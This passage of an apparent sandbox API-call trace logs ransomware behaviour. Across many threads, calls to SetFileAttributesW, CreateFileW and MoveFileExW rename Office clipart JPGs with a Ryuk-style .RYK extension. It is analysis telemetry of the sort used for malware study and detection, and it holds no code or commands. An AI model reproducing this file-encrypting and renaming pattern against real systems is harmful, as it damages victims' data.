	[0257.842] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3011
	os_tid = 0x31d0

	[0257.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG", dwFileAttributes=0x80) returned 0
	[0257.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.847] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.848] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3012
	os_tid = 0x1dc8

	[0257.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG", dwFileAttributes=0x80) returned 0
	[0257.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.845] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.845] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3013
	os_tid = 0x1c4c

	[0257.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG", dwFileAttributes=0x80) returned 0
	[0257.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.850] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.850] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3021
	os_tid = 0x3404

	[0257.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG", dwFileAttributes=0x80) returned 0
	[0257.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.852] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.853] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3022
	os_tid = 0x3408

	[0257.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG", dwFileAttributes=0x80) returned 0
	[0257.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.855] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.855] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3023
	os_tid = 0x340c

	[0257.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG", dwFileAttributes=0x80) returned 0
	[0257.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.859] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.860] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3024
	os_tid = 0x3410

	[0257.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG", dwFileAttributes=0x80) returned 0
	[0257.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.864] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.864] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3025
	os_tid = 0x3414

	[0257.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG", dwFileAttributes=0x80) returned 0
	[0257.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.861] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.862] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3026
	os_tid = 0x3418

	[0257.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG", dwFileAttributes=0x80) returned 0
	[0257.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.866] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.867] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3027
	os_tid = 0x341c

	[0257.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG", dwFileAttributes=0x80) returned 0
	[0257.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.869] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.869] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3028
	os_tid = 0x3420

	[0257.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG", dwFileAttributes=0x80) returned 0
	[0257.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.871] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.872] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3029
	os_tid = 0x3424

	[0258.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG", dwFileAttributes=0x80) returned 0
	[0258.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.490] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.490] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3030
	os_tid = 0x3430

	[0258.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG", dwFileAttributes=0x80) returned 0
	[0258.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.489] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.489] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3031
	os_tid = 0x3434

	[0258.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG", dwFileAttributes=0x80) returned 0
	[0258.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.487] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.487] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3032
	os_tid = 0x3438

	[0258.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG", dwFileAttributes=0x80) returned 0
	[0258.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.485] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.486] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3033
	os_tid = 0x343c

	[0258.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG", dwFileAttributes=0x80) returned 0
	[0258.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.484] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.484] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3034
	os_tid = 0x3440

	[0258.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG", dwFileAttributes=0x80) returned 0
	[0258.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.482] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.482] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3035
	os_tid = 0x3444

	[0258.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG", dwFileAttributes=0x80) returned 0
	[0258.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.481] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.481] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3036
	os_tid = 0x3448

	[0258.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG", dwFileAttributes=0x80) returned 0
	[0258.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.479] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.479] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3037
	os_tid = 0x344c

	[0258.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG", dwFileAttributes=0x80) returned 0
	[0258.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.314] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.314] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3038
	os_tid = 0x3450

	[0258.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG", dwFileAttributes=0x80) returned 0
	[0258.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.682] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.683] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3045
	os_tid = 0x3474

	[0258.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG", dwFileAttributes=0x80) returned 0
	[0258.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.317] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.318] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3046
	os_tid = 0x3478

	[0258.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG", dwFileAttributes=0x80) returned 0
	[0258.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.681] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.681] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3047
	os_tid = 0x347c

	[0258.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG", dwFileAttributes=0x80) returned 0
	[0258.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.321] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.321] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3048
	os_tid = 0x3480

	[0258.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG", dwFileAttributes=0x80) returned 0
	[0258.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.323] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.323] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3049
	os_tid = 0x3484

	[0258.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG", dwFileAttributes=0x80) returned 0
	[0258.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.680] CloseHandle (hObject=0xffffffffffffffff) returned 0
